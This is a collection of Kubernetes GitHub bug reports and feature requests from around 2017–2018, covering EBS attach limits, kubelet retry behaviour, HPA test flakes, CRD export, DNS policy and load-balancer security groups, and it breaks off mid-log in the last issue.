https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/39901/pull-kubernetes-e2e-kops-aws/10745/  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/39901/pull-kubernetes-e2e-kops-aws/10745/ \r \r    \r go run hack/e2e.go -v -test --test_args='--ginkgo.focus=statefulset\\s\\ k8s\\.io\\ \\sbasic\\sstatefulset\\sfunctionality\\sscaling\\sdown\\sbefore\\sscale\\sup\\sis\\sfinished\\sshould\\swait\\suntil\\scurrent\\spod\\swill\\sbe\\srunning\\sand\\sready\\sbefore\\sit\\swill\\sbe\\sremoved$'\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/statefulset.go:274\r test panicked\r /usr/local/go/src/runtime/panic.go:458\r from junit_19.xml\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.1369+ae6a5d2bf34c14-dirty\ , gitcommit:\ ae6a5d2bf34c14f7d00c853660972a721eb02f61\ , gittreestate:\ dirty\ , builddate:\ 2017-03-20t02:20:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.1369+ae6a5d2bf34c14-dirty\ , gitcommit:\ ae6a5d2bf34c14f7d00c853660972a721eb02f61\ , gittreestate:\ dirty\ , builddate:\ 2017-03-20t02:20:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r aws\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r hack/local-up-cluster.sh\r -   others  :\r \r \r   what happened  :\r after k8s env is ready, i create 50 pods using ebs volume, then i ctrl-c to terminate the k8s env and restart a new one, and create one pod using ebs volume, bug got error \ too many ebs volumes attached to node \ \r   what you expected to happen  :\r pod using ebs volume is running\r \r   how to reproduce it    as minimally and precisely as possible :\r 1.create 50 pods using ebs volume\r 2.ctrl-c the script local-up-cluster.sh\r 3. re-run the script local-up-cluster.sh\r 4. create one pod using ebs volume\r 5. pod is not running\r  root@ip-172-18-9-70 ebstest   kubectl create -f pod1.yaml \r pod \ mypod1\  created\r  root@ip-172-18-9-70 ebstest   kubectl get pods\r name      ready     status              restarts   age\r mypod1    0/1       containercreating   0          6s\r  root@ip-172-18-9-70 ebstest   kubectl describe pods mypod1\r name:\t\tmypod1\r namespace:\tdefault\r node:\t\tip-172-18-9-70.ec2.internal/172.18.9.70\r start time:\tmon, 20 mar 2017 02:16:48 -0400\r labels:\t\tname=frontendhttp\r annotations:\t<none>\r status:\t\tpending\r ip:\t\t\r controllers:\t<none>\r containers:\r   myfrontend:\r     container id:\t\r     image:\t\taosqe/hello-openshift\r     image id:\t\t\r     port:\t\t80/tcp\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     environment:\t<none>\r     mounts:\r       /tmp from aws  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-10b6n  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \tfalse \r   podscheduled \ttrue \r volumes:\r   aws:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tebs1\r     readonly:\tfalse\r   default-token-10b6n:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-10b6n\r     optional:\tfalse\r qos class:\tbesteffort\r node-selectors:\t<none>\r tolerations:\tnode.alpha.kubernetes.io/notready=:exists:noexecute for 300s\r \t\tnode.alpha.kubernetes.io/unreachable=:exists:noexecute for 300s\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t-------\r   16s\t\t16s\t\t1\tdefault-scheduler\t\t\tnormal\t\tscheduled\tsuccessfully assigned mypod1 to ip-172-18-9-70.ec2.internal\r   16s\t\t6s\t\t5\tattachdetach\t\t\t\twarning\t\tfailedmount\tfailed to attach volume \ ebs1\  on node \ ip-172-18-9-70.ec2.internal\  with: too many ebs volumes attached to node ip-172-18-9-70.ec2.internal.\r \r \r   anything else we need to know  :\r some log from /tmp/kube-controller-manager.log\r i0320 02:17:56.160238    4894 reconciler.go:205  attempting to start attachvolume for volume \ kubernetes.io/aws-ebs/aws://us-east-1d/vol-015ceb5cf1537b360\  to node \ ip-172-18-9-70.ec2.internal\ \r i0320 02:17:56.260434    4894 reconciler.go:205  attempting to start attachvolume for volume \ kubernetes.io/aws-ebs/aws://us-east-1d/vol-015ceb5cf1537b360\  to node \ ip-172-18-9-70.ec2.internal\ \r w0320 02:17:56.348210    4894 aws.go:1270  could not assign a mount device.  mappings=map bo:vol-0d0ce0c64b953cb9e cg:vol-09c0337a9c78294b9 ct:vol-0ae25d773ebf16393 cz:vol-06eed5ca4e1507ded dd:vol-004cb7f1649b487e5 bc:vol-0380cbb29b95a54b8 do:vol-012ea38e2e2889361 dq:vol-0ef33ffb9ca436a63 bw:vol-0b4ad887fa1427993 bl:vol-001df7fc90178d17a bz:vol-011ae80746df45e2f b:vol-07c62ed06dfb371d3 da:vol-0d7b41751b7a4bc2e dm:vol-0728d55582793c0cf ds:vol-0cb0b7886e6d8f397 ce:vol-064d84e87ad589235 de:vol-0d9c0de4b57138191 bn:vol-0840e61b9caf5fee7 cd:vol-0efc82e6e37e1eb49 br:vol-0e5dfc8d5718ef0ed bv:vol-047f6eeebf117ac54 ck:vol-0193e24b3acd32fe4 ch:vol-00f054ad6be4527aa cw:vol-0555194da16b796b0 dg:vol-0cc2c6b2108451e98 dl:vol-01e6cdec6593ef08a dr:vol-0e5bc76145bcdfa2c bj:vol-0715f6b30c4a9a2db cs:vol-063b3412d8d6730bb dc:vol-099463cf09e4a7b14 dk:vol-09847ca3a05803eb0 ba:vol-0f976055b81fbc6e2 bq:vol-0b65f6a9baea7abbf cf:vol-0bacdc3b65985b656 cy:vol-013ed298b13fc1221 di:vol-00481a88ec0d1d096 bf:vol-0627a389c030e7804 ci:vol-0dc59c9d402d75998 dw:vol-09f6b645f8562c09b bb:vol-09383fb93df0b6460 bt:vol-0cdf3664e6fc9fcfe cj:vol-08d943869e72d10d0 cr:vol-00095ddceae1a96ed cv:vol-0ae052d3788deb58b dn:vol-01936afe5d3fe9376 be:vol-0968ba86dd4fa87b8 bu:vol-0b459bcbc9466bf6b ca:vol-05ab9f2bcafa78fc4 cm:vol-03358e66623c2acf8 dh:vol-0ebfa135d6b48cd4b bk:vol-0c4dbaca88d8b9e1e bx:vol-07e235395fdac7865 bg:vol-0a5ce9181020ef3e5 cb:vol-0032ddc577882f9d7 cc:vol-06901a5b1df02efc7 a1:vol-0ebaae0f583ce9d56 du:vol-06c1749e928a6698d dx:vol-0af89b77ecb4def3e bh:vol-00ec4245a81855526 cp:vol-046c4b8de43e949e8 cq:vol-05879fe719091fafe df:vol-0c92655d71d747a55 dt:vol-037f319b176154d20 dv:vol-0c81ff4514a4fc367 dp:vol-0ead6ce8409c37004 cx:vol-02ca744b213d16363 cl:vol-032178acfe34b1f4e cn:vol-0cfd132118ce37582 co:vol-0b1c686b9ff8eb9e9 bi:vol-06f9146d89494a33a bm:vol-069274e869cf05075 bs:vol-0488c610cb7c297ce bp:vol-09996441eaba44815 by:vol-04bf60f2a1a560b0e db:vol-0be00ef6c65fb1615 dj:vol-00ceee6d1e493b4ef bd:vol-0107e601c861588a9 cu:vol-049880ef3fe038d4e , error: no devices are available\r e0320 02:17:56.348275    4894 attacher.go:73  error attaching volume \ aws://us-east-1d/vol-015ceb5cf1537b360\ : too many ebs volumes attached to node ip-172-18-9-70.ec2.internal.\r e0320 02:17:56.348329    4894 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/aws-ebs/aws://us-east-1d/vol-015ceb5cf1537b360\\\ \  failed. no retries permitted until 2017-03-20 02:19:00.348309059 -0400 edt  durationbeforeretry 1m4s . error: failed to attach volume \ ebs1\  on node \ ip-172-18-9-70.ec2.internal\  with: too many ebs volumes attached to node ip-172-18-9-70.ec2.internal.\r i0320 02:17:56.348523    4894 round_trippers.go:395  patch https://localhost:6443/api/v1/namespaces/default/events/mypod1.14ad829070609e39\r i0320 02:17:56.348513    4894 event.go:217  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ mypod1\ , uid:\ ccb6e390-0d34-11e7-8caa-0ecb7d4ecce4\ , apiversion:\ v1\ , resourceversion:\ 294\ , fieldpath:\ \ } : type: 'warning' reason: 'failedmount' failed to attach volume \ ebs1\  on node \ ip-172-18-9-70.ec2.internal\  with: too many ebs volumes attached to node ip-172-18-9-70.ec2.internal.\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r servicename fieldref \r \r ---\r \r   is this a bug report or feature request?    choose one :\r this is a feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.3-2+1d386fe0658e91\ , gitcommit:\ 1d386fe0658e9100150d11b4f076c5b3a8997293\ , gittreestate:\ clean\ , builddate:\ 2017-03-29t08:12:10z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r --\r \r i am currently able to get data into a pods environment via the fieldref, fieldpath, like this:\r  {\ name\ : \ namespace\ , \ valuefrom\ : {\ fieldref\ : {\ fieldpath\ : \ metadata.namespace\ , \ apiversion\ : \ v1\ }} \r \r for pods that are created from a stateful set, i want to be able to put the stateful set servicename into the pod in the same fashion\r i.e. something like:\r  {\ name\ : \ servicename\ , \ valuefrom\ : {\ fieldref\ : {\ fieldpath\ : \ spec.servicename\ , \ apiversion\ : \ v1\ }}}, \r \r when i'm building a stateful service i want a pod to be able to work with the hostnames of the other pods in the stateful set, \r i.e. if i'm on \r db-0.servicename.default\r i want to be able to do things with db-1.servicename.default, etc.\r i want to be able to build lists of peers without having to resort to playing regex games on the pods hostname\r \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r no\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r  \r   kubernetes version    use  kubectl version  :\r \r master \r \r   what happened  :\r \r the kubelet does multiple api-server requests in a row without exponentially backing off.  this both increases load on the apiserver, without adding much real value to the kubelet, since the exponential backoff is much more likely to eventually connect.\r \r after killing the apiserver, we get the equivalent of 5k requests per second  in a 5 request burst, so no big deal, but clearly its a silly retry scenario for any real world failure scenario .\r \r    \r e0417 21:11:12.052718    9822 kubelet_node_status.go:326  error updating node status, will retry: error getting node \ 127.0.0.1\ : get https://localhost:6443/api/v1/nodes/127.0.0.\r 1?resourceversion=0: dial tcp  ::1 :6443: getsockopt: connection refused\r e0417 21:11:12.053402    9822 kubelet_node_status.go:326  error updating node status, will retry: error getting node \ 127.0.0.1\ : get https://localhost:6443/api/v1/nodes/127.0.0.\r 1: dial tcp  ::1 :6443: getsockopt: connection refused\r e0417 21:11:12.054091    9822 kubelet_node_status.go:326  error updating node status, will retry: error getting node \ 127.0.0.1\ : get https://localhost:6443/api/v1/nodes/127.0.0.\r 1: dial tcp  ::1 :6443: getsockopt: connection refused\r e0417 21:11:12.054586    9822 kubelet_node_status.go:326  error updating node status, will retry: error getting node \ 127.0.0.1\ : get https://localhost:6443/api/v1/nodes/127.0.0.\r 1: dial tcp  ::1 :6443: getsockopt: connection refused\r e0417 21:11:12.055098    9822 kubelet_node_status.go:326  error updating node status, will retry: error getting node \ 127.0.0.1\ : get https://localhost:6443/api/v1/nodes/127.0.0.\r 1: dial tcp  ::1 :6443: getsockopt: connection refused\r    \r \r since nodenotready flapping continues to be something that is difficult to trace, and plagues busy clusters in different environments. making the behaviour more robust, likely to eventually succeed, and inline with other types of client behaviour would be a better way forward. \r \r - logs: if connecting to the apiserver fails consistently, that should be made as obvious in the heartbeat logs.  \r - metrics: in addition metrics should be collected .\r - retries: finally, maybe a better or more forgiving retry  spread out over time  would be a good option to make  nodenotready/ready  information consistency more correct on large clusters.\r \r   what you expected to happen  :\r \r the amount of times a healthy kubelet attempts to reach an apiserver is drawn out over a long time period and backs off exponentially, and no \ burst\  failures are implemented.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r - run  hack/local-up-cluster.sh \r - kill the apiserver process  i.e. kill the pid in  ps -ax | grep apiserver  \r - tail the /tmp/kubelet.log file and you can see the multiple queries that don't back off.\r \r   anything else we need to know  :\r \r several issues cite nodenotready as popping up in clusters where node's appear to be available.  \r this is part of a general effort to make the behaviour of the kubelet client more predictable both in terms of logging and in terms of its ability to reconnect to the apiserver in a complex network or ha loadbalanced scenario.\r \r kubernetes/kubernetes: issue  32522\r kubernetes/kubernetes: issue  31415

https://github.com/kubernetes/community/blob/master/contributors/design-proposals/thirdpartyresources.md migration-from-existing-tpr sketches out how migration could be done, but the devil is in the details.  we need to try the migration using the crud available now, actually see the pieces work, and see if we can think of improvements or ways to make it easier.\r \r @enisoc is taking the lead on this effort, but if other community members have bandwidth to help, this is a good spot to raise your hand.\r \r @adohe @philips @erictune @nikhita @sdminonne had all expressed interest\r @kubernetes/sig-api-machinery-misc \r \r xref: https://github.com/kubernetes/features/issues/95

hpa e2e tests were failing  starting from 2017-06-06 till 2017-06-09  because hpa controller couldn't get cpu from heapster:\r \r    \r e0606 11:48:20.696662       5 horizontal.go:205  failed to compute desired number of replicas based on listed metrics for replicaset/e2e-tests-horizontal-pod-autoscaling-38f01/rs: failed to get cpu utilization: unable to get metrics for resource cpu: no metrics returned from heapster\r    \r \r logs: \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/1207\r \r the tests started passing again on 2017-06-10:\r https://k8s-testgrid.appspot.com/release-master-blocking gci-gce-serial

it appears that  objectmeta  is not stripped when attempting to use  kubectl get --export  with a crd.\r \r here is a quick proof:\r    \r > kubectl --context istio-test get istioconfigs --output yaml | shasum\r 3a16cff517d0c12765fa7de3fb5dc9343105b159  -\r \r > kubectl --context istio-test get istioconfigs --output yaml --export | shasum\r 3a16cff517d0c12765fa7de3fb5dc9343105b159  -\r \r > kubectl --context istio-test get deployments reviews-v1 --output yaml | shasum\r 4ae3556232657b10b52bf28ed3dbb99576b783fe  -\r \r > kubectl --context istio-test get deployments reviews-v1 --output yaml --export | shasum\r ac7943d32b8436cc7591bed26b2dd3b22a72b6a8  -\r    \r \r if you examine the output for the crd, you will see that  creationtimestamp ,  uid , and  resourceversion  are untouched, which is not the case for non-crds, e.g. deployments.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r i am planning on attempting to add  dnspolicy: host  as an alias for  dnspolicy: default ,  as discussed on kubernetes-users  https://groups.google.com/d/msg/kubernetes-users/7jbq6jhmzhc/yfnly5xtaqaj , where @thockin said he would take prs to do this. the reason is that it is slightly confusing that  dnspolicy: default  is not the default. i'm not entirely sure how to do this, but  the contributing guide suggests filing an issue  https://github.com/kubernetes/community your-first-contribution . i think i need to make the following changes, let me know if this plan seems reasonable or if there is something i am missing:\r \r \r 1. add a constant  dnspolicy dnshost = \ host\   to  pkg/api/types.go : https://github.com/kubernetes/kubernetes/blob/master/pkg/api/types.go l2012 . it appears to me that this is enough to make this work, since  kubelet.getclusterdns  only checks for  dnsclusterfirstwithhostnet  and  dnsclusterfirst : https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet.go l1412\r \r 2. add the a test case to  testgenerateruncontaineroptions_dnsconfigurationparams  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet_pods_test.go l608 which ensures the pod that specifies  dnshost  gets the same config as the one that specifies  dnsdefault \r \r 3. add  dnshost  to the fuzzer list: https://github.com/kubernetes/kubernetes/blob/master/pkg/api/fuzzer/fuzzer.go l249\r \r 4. add  dnshost  to  validatednspolicy : https://github.com/kubernetes/kubernetes/blob/master/pkg/api/validation/validation.go l2231\r \r \r  questions :\r   when would it be \ safe\  to switch internal uses of  dnsdefault  to  dnshost ? the backwards incompatibility i can think of is if printing the value of a struct suddenly returns the string  host , older tools may not be able to cope. thus, i think it is \ safest\  if kubernetes itself continues using  dnsdefault  for a while  until the next major release? \r   how does the swagger api doc help string get generated? it seems to be the same one in a bunch of places, and i see tools for generating it, but i can't tell which is the \ canonical\  source.

is this a bug report or feature request?  :  \r   what happened  :\r the deploy & rs result of the kubectl get all result are repeatedly displayed.\r and inquire for them alone  kubectl get deploy & kubectl get rs , the result is correct.\r \r    \r  root@controller:/ $ kubectl get deploy --all-namespaces\r namespace     name                   desired   current   up-to-date   available   age\r kube-system   kube-dns               1         1         1            1           1d\r kube-system   kubernetes-dashboard   1         1         1            1           1d\r  root@controller:/ $ kubectl get rs --all-namespaces\r namespace     name                              desired   current   ready     age\r kube-system   kube-dns-778977457c               1         1         1         1d\r kube-system   kubernetes-dashboard-676975d47f   1         1         1         1d\r  root@controller:/ $ kubectl get all --all-namespaces\r namespace     name                          desired   current   up-to-date   available   age\r kube-system   deploy/kube-dns               1         1         1            1           1d\r kube-system   deploy/kubernetes-dashboard   1         1         1            1           1d\r \r namespace     name                                 desired   current   ready     age\r kube-system   rs/kube-dns-778977457c               1         1         1         1d\r kube-system   rs/kubernetes-dashboard-676975d47f   1         1         1         1d\r \r namespace     name                          desired   current   up-to-date   available   age\r kube-system   deploy/kube-dns               1         1         1            1           1d\r kube-system   deploy/kubernetes-dashboard   1         1         1            1           1d\r \r namespace     name                                 desired   current   ready     age\r kube-system   rs/kube-dns-778977457c               1         1         1         1d\r kube-system   rs/kubernetes-dashboard-676975d47f   1         1         1         1d\r \r namespace     name                                       ready     status    restarts   age\r default       po/proman                                  1/1       running   0          2h\r kube-system   po/kube-dns-778977457c-wc7ff               3/3       running   0          1d\r kube-system   po/kubernetes-dashboard-676975d47f-hdvkr   1/1       running   0          1d\r \r namespace     name                       type        cluster-ip      external-ip   port s          age\r default       svc/kubernetes             clusterip   10.254.0.1      <none>        443/tcp         2d\r kube-system   svc/kube-dns               clusterip   10.254.0.10     <none>        53/udp,53/tcp   1d\r kube-system   svc/kubernetes-dashboard   nodeport    10.254.87.150   <none>        80:31749/tcp    1d\r  root@controller:/ $\r    \r \r \r   what you expected to happen  :\r run kubectl get all, the deploy & rs result show correctly.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r  root@controller:/ $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - os  e.g. from /etc/os-release : \r centos 7.3\r - kernel  e.g.  uname -a  :\r    \r  root@controller:/ $ uname -a\r linux controller 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 18 11:25:45 cst 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r

we have a number of fields in the api that represent an integer number of seconds, such as timeoutseconds. we should push the units into the value instead, by using time.duration. that would be similar to the approach used for resource quantities.  i don't consider this blocking for v1beta3, but seems like a worthwhile change to make in the future.  cc @lavalamp @smarterclayton

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r after a rolling update of the cluster, nlb kept failing health checks because security group did not have rules for new ec2 instance.\r \r   what you expected to happen  :\r \r security group should have been updated with both tcp rules for nlbs to work correctly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create a service object with type loadbalancer and adding the annotation for nlbs. fwiw, i had 6 services and each had their own nlbs. it’s possible that the bug happens when there are multiple nlbs causing multiple aws updates.\r - perform a rolling update of the instance group. this causes the instances to be terminated and new ones to be brought up. afaict, this should result in two changes to the security group per ec2 instance. when the instance is terminated, the rules for that nodeport should be deleted. when the new node is created, the rule should be added again.\r - however, after the rolling update, the rule doesn’t get added. as a result, the nlb’s health checks fail.\r \r   anything else we need to know?  :\r \r - as mentioned earlier, this happened on a cluster where there were multiple nlbs.\r - this doesn’t seem to be a deterministic failure. \r - the  kube-controller  log has the following error message:\r    \r i0305 18:04:40.968739       6 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ kafka-1\ , name:\ outside-4\ , uid:\ 805bbe82-2033-11e8-ab46-06d9f670eba0\ , apiversion:\ v1\ , resourceversion:\ 6076\ , fieldpath:\ \ } : type: 'warning' reason: 'loadbalancerupdatefailed' error updating load balancer with new hosts  ip-172-20-124-189.us-west-2.compute.internal ip-172-20-120-186.us-west-2.compute.internal ip-172-20-51-19.us-west-2.compute.internal ip-172-20-45-228.us-west-2.compute.internal ip-172-20-72-38.us-west-2.compute.internal ip-172-20-105-78.us-west-2.compute.internal ip-172-20-69-148.us-west-2.compute.internal ip-172-20-88-181.us-west-2.compute.internal ip-172-20-38-132.us-west-2.compute.internal ip-172-20-103-250.us-west-2.compute.internal ip-172-20-50-106.us-west-2.compute.internal ip-172-20-81-141.us-west-2.compute.internal ip-172-20-55-251.us-west-2.compute.internal ip-172-20-65-146.us-west-2.compute.internal ip-172-20-103-197.us-west-2.compute.internal : invalidpermission.notfound: the specified rule does not exist in this security group.\r    \r \r - i manually edited the service object to see if it would simply retrigger an update on the cloud resources. it actually did. the rules got added to the security group.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:54z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r kops 1.8.1\r - others:\r

test: https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-serial&show-stale-tests=\r \r example: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/7169\r \r the hpa tests for gce-serial are flaking rather regularly; they fail about 2/3 of the time for the last week, and are often the cause of a failed test run.  can we de-flake these?\r \r over multiple test runs the problem seems to be the number of replicas jumping up to 4 unexpectedly:\r \r    \r oct  3 11:39:13.153: info: consumecpu url: {https   35.232.126.216 /api/v1/namespaces/e2e-tests-horizontal-pod-autoscaling-qjvjw/services/rc-ctrl/proxy/consumecpu  false durationsec=30&millicores=250&requestsizemillicores=100 }\r oct  3 11:39:22.808: info: expecting there to be 3 replicas  are: 3 \r oct  3 11:39:32.778: info: expecting there to be 3 replicas  are: 4 \r oct  3 11:39:32.778: info: unexpected error occurred: number of replicas changed unexpectedly\r    \r \r is the limit not getting set correctly here?  is this an actual bug?\r \r  /  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r there does not seem to be a mechanism besides maybe using oidc to do user authentication.  which honestly i have yet to try out.  service accounts seem to be the main way to do security.\r \r   what you expected to happen  :\r \r i would like to allow users to login to the kubectl with say \ kubectl login userid\  and run kubectl create -f deployment.yaml and all associated pods run as the ldap uid of the associated ldap user who logged in.  people who are members of specific ldap groups can deploy components into specific namespaces.  this would allow for a running pod to access nfs shares which are exported to the k8s hosts.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r n/a\r \r   anything else we need to know?  :\r \r if no one else wants to work it i would be interested in contributing.  could be interested to use kerberos with sssd to ldap and/or ad.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.9.6\r - cloud provider or hardware configuration: bare-metal\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.xx\r - install tools: yum\r - others:\r

in order to simplify configuration of the kubernetes components, each component should parse its own flags from the constructed environment, setting its flags based on the variables it finds. this will simplify configuration of kubernetes components under complex init systems such as systemd, where it is a common pattern to overlay several files on one another to allow both the operating system vendors, the packagers and the end-users to jointly override the configuration options for a given service.  github.com/coreos/pkg/flagutil setflagsfromenv  0  provides an example of the code needed to achieve this, and the corresponding tests demonstrate its usage  1 . the code walks through each flag in a given flagset and parses a corresponding value from the environment prefixed with a configurable string.  as for a practical example, the kubelet could be vendored into an operating system like this, setting the default bind address to 127.0.0.1:        /usr/lib64/systemd/system/kubelet.service  service  environment= kubelet_address=127.0.0.1 execstart= /usr/bin/kubelet      then an end-user deploying a cluster could override the value to make the kubelet routable:       /etc/systemd/system/kubelet.service.d/20-address.conf  service  environment= kubelet_address=0.0.0.0      one alternative here would be to initialize a kubelet_opts env var, but that pushes more complexity onto the user and doesn't allow a clean way to selectively override a single flag. another option would be to maintain a custom set of environment variables, but that pushes a lot of complexity onto the os vendor and packager, forcing them to chance new flags exposed by the kubernetes components over time.   0  https://github.com/coreos/pkg/blob/master/flagutil/env.go l16  1  https://github.com/coreos/pkg/blob/master/flagutil/env_test.go l9

currently, we add all known nodes, regardless of their status to a load balancer.   we should probably not add  notready  nodes, since they aren't health checking.  @a-robinson @thockin

per @roberthbailey's comment on  18598, we should set up some kind of mailing list so people outside of google can get draft release notes.  @sarahnovotny, is this something you can take on?

we develop a web ui with jupyter notebook embed, and jupyter notebook is configured with spark kernel to connect to spark.  when we run docker container directly, it works fine with --net host\r but when we use kubernetes 1.5.1 , we got the following error when creating spark kernel dynamically, and it seems it can't get the port allocated.\r \r 17/01/02 10:54:08  info  o.a.t.main$$anon$1 - kernel version: 0.2.0.dev1-incubating-snapshot\r 17/01/02 10:54:08  info  o.a.t.main$$anon$1 - scala version: 2.11.8\r 17/01/02 10:54:08  info  o.a.t.main$$anon$1 - zeromq  jeromq  version: 3.2.5\r 17/01/02 10:54:08  info  o.a.t.main$$anon$1 - initializing internal actor system\r 17/01/02 10:54:09  info  o.a.t.main$$anon$1 - connection profile: {\r   \ stdin_port\  : 60191,\r   \ control_port\  : 44317,\r   \ hb_port\  : 45502,\r   \ shell_port\  : 57837,\r   \ iopub_port\  : 33283,\r   \ ip\  : \ 127.0.0.1\ ,\r   \ transport\  : \ tcp\ ,\r   \ signature_scheme\  : \ hmac-sha256\ ,\r   \ key\  : \ 225f592c-effe-4af3-b55d-0f2cafc5f5d8\ \r }\r  scala,org.apache.toree.kernel.interpreter.scala.scalainterpreter@3e2943ab \r  pyspark,org.apache.toree.kernel.interpreter.pyspark.pysparkinterpreter@70dd7e15 \r  sparkr,org.apache.toree.kernel.interpreter.sparkr.sparkrinterpreter@4a9f80d3 \r  sql,org.apache.toree.kernel.interpreter.sql.sqlinterpreter@35beb15e \r 17/01/02 10:54:11  warn  o.a.t.main$$anon$1 - no external magics provided to pluginmanager!\r 17/01/02 10:54:13  info  o.a.t.main$$anon$1 - 13 internal plugins loaded\r 17/01/02 10:54:13  info  o.a.t.main$$anon$1 - 0 external plugins loaded\r 17/01/02 10:54:13  info  o.a.t.b.l.standardcomponentinitialization$$anon$1 - setting deploymode to client\r 17/01/02 10:54:13  warn  